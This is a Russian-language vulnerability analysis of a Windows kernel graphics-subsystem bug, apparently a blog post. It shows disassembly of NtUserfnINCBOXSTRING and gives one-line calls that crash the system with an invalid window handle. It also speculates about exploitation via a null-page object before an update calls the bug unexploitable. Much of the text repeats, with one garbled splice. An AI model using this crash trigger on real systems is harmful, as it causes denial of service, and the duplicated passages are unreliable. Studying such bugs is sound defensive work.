Уязвимость в графической подсистеме windows, в win2k.sys, сидит там с момента выхода windows 2000, т.к. именно в этой версии винды появилась CB_ADDSTRING message и следовательно обработка этой мессаги в ядре, которая имеет в себе баг.
BF91452C ; __stdcall NtUserfnINCBOXSTRING(x, x, x, x, x, x, x)
BF91452C arg_0 = dword ptr 8
BF91452C arg_4 = dword ptr 0Ch
BF91452C arg_8 = dword ptr 10h
BF91452C arg_C = dword ptr 14h
BF91452C arg_10 = dword ptr 18h
BF91452C arg_14 = dword ptr 1Ch
BF91452C arg_18 = dword ptr 20h
BF91452C
BF91452C mov edi, edi
BF91452E push ebp
BF91452F mov ebp, esp
BF914531 mov ecx, [ebp+arg_0] <=== не проверяется на валидность, прилетает переданное значение 0xFFFFFFFF
BF914534 mov eax, [ecx+20h] <=== oops! BSOD
Находится данная ф-ция в табличке и вызывается ф-цией NtUserMessageCall по индексу(
NtUserMessageCall(...):
{
...
BF80EF21 push [ebp+arg_18] ; int
BF80EF24 movzx eax, ds:_MessageTable[eax]
BF80EF2B push ecx ; int
BF80EF2C push [ebp+arg_10] ; int
BF80EF2F and eax, 3Fh
BF80EF32 push [ebp+Address] ; Address
BF80EF35 push [ebp+UnicodeString] ; int
BF80EF38 push [ebp+arg_4] ; int
BF80EF3B push esi ; int
BF80EF3C call ds:_gapfnMessageCall[eax*4]
...
}
BF991428 _gapfnMessageCall:
..,.
BF991494 dd offset _NtUserfnINCBOXSTRING@28 ;
....
Таким образом,
NtUserMessageCall(
или
BF91452C ; __stdcall NtUserfnINCBOXSTRING(x, x, x, x, x, x, x)
BF91452C arg_0 = dword ptr 8
BF91452C arg_4 = dword ptr 0Ch
BF91452C arg_8 = dword ptr 10h
BF91452C arg_C = dword ptr 14h
BF91452C arg_10 = dword ptr 18h
BF91452C arg_14 = dword ptr 1Ch
BF91452C arg_18 = dword ptr 20h
BF91452C
BF91452C mov edi, edi
BF91452E push ebp
BF91452F mov ebp, esp
BF914531 mov ecx, [ebp+arg_0] <=== не проверяется на валидность, прилетает переданное значение 0xFFFFFFFF
BF914534 mov eax, [ecx+20h] <=== oops! BSOD
Находится данная ф-ция в табличке и вызывается ф-цией NtUserMessageCall по индексу(
CB_ADDSTRING = 0x143):NtUserMessageCall(...):
{
...
BF80EF21 push [ebp+arg_18] ; int
BF80EF24 movzx eax, ds:_MessageTable[eax]
BF80EF2B push ecx ; int
BF80EF2C push [ebp+arg_10] ; int
BF80EF2F and eax, 3Fh
BF80EF32 push [ebp+Address] ; Address
BF80EF35 push [ebp+UnicodeString] ; int
BF80EF38 push [ebp+arg_4] ; int
BF80EF3B push esi ; int
BF80EF3C call ds:_gapfnMessageCall[eax*4]
...
}
BF991428 _gapfnMessageCall:
..,.
BF991494 dd offset _NtUserfnINCBOXSTRING@28 ;
....
Таким образом,
можно поймать BSOD, вызвав:NtUserMessageCall(
(HWND)-1,CB_ADDSTRING, 0, 0, 0, 0, FALSE );или
SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);Дальнейшая эксплуатация на первый взгляд возможна, для этого нужно создать свой объект HWD в страничке выделенной в UM по нулевому адресу, причем сформировать таким образом, чтобы передалось управление на один из колбеков в этой структуре. Updated: Crash провел более детальный ресерч(см. комменты) и согласно ресерчу, уязвимость не эксплуатируемая.